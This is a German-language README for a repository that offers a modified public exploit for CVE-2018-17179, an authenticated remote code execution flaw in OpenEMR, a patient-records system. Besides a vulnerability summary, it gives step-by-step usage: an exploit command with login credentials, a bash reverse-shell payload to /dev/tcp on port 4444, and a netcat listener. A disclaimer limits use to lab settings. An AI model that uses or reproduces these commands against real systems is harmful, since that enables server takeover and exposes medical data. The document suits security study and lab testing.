CVE-2018-17179-OpenEMR

⚠️ Haftungsausschluss
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden.

Unbefugte Nutzung dieses Codes gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Testgenehmigung hast, ist illegal und unethisch.
Der Autor ist nicht verantwortlich für Missbrauch oder verursachte Schäden.

🔍 Über die Schwachstelle

CVE-2018-17179 betrifft OpenEMR, eine weit verbreitete Open-Source-Software für elektronische Patientenakten und Praxisverwaltung.
Eine Schwachstelle im Authentifizierungsmechanismus des rest_routes.php-Endpunkts ermöglicht es einem authentifizierten Benutzer, beliebige Befehle auf dem Server auszuführen.

Dies kann zu Remote Code Execution (RCE) im Kontext des Webserver-Benutzers führen.

• Schwachstellentyp: Authentifizierte Remote Code Execution
• Betroffene Komponente: interface/main/main_screen.php über rest_routes.php
• Authentifizierung erforderlich: ✅ Ja
• Schweregrad: Kritisch
• CVSS-Score: 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

🧾 Referenzen

• Exploit-DB-Eintrag – 45161
• OpenEMR GitHub-Repository
• CVE Details – CVE-2018-17179
• NVD CVE-Bericht

🛠 Exploit-Überblick

Dieses Repository bietet eine modifizierte Version des öffentlichen Exploits von Exploit-DB:

• Exploit-Titel: OpenEMR 5.0.1 – Authentifizierte RCE
• ExploitDB-ID: 45161
• Sprache: Python 2
• Authentifizierung erforderlich: Ja

In diesem angepassten Exploit:

• Du kannst dein Befehls-Payload direkt angeben (z. B. Reverse Shell).
• Der Exploit ermöglicht eine saubere CLI-Ausführung für mehr Flexibilität.
• Sensible Bereiche wie die Generierung von Sitzungscookies und die Logik der Befehlsinjektion wurden aus dem Original übernommen.

💥 Demonstration

🔐 Login-Seite

Als Ziel diente ein lokales OpenEMR-Test-Login-Panel:

📂 Exploit-Verwendung

Verwendung: python2 exploit.py <target_url> -u -p -c

Beispiel: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'

- Stelle sicher, dass Python 2 installiert ist.
- Der Benutzer muss Zugriff auf den anfälligen `rest_routes.php`-Endpunkt haben.

Exploit ausführen

Das modifizierte Exploit-Skript wurde mit einem Bash-Reverse-Shell-Payload ausgeführt:

python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

Schritt 3 – Reverse Shell empfangen

Der Netcat-Listener auf Port 4444 hat erfolgreich eine Reverse Shell empfangen:

nc -nvlp 4444

📖 Medium-Blog

Wirf einen Blick auf die ausführliche Anleitung und Theorie in meinem Medium-Beitrag:
👉 Lies den Blog auf Medium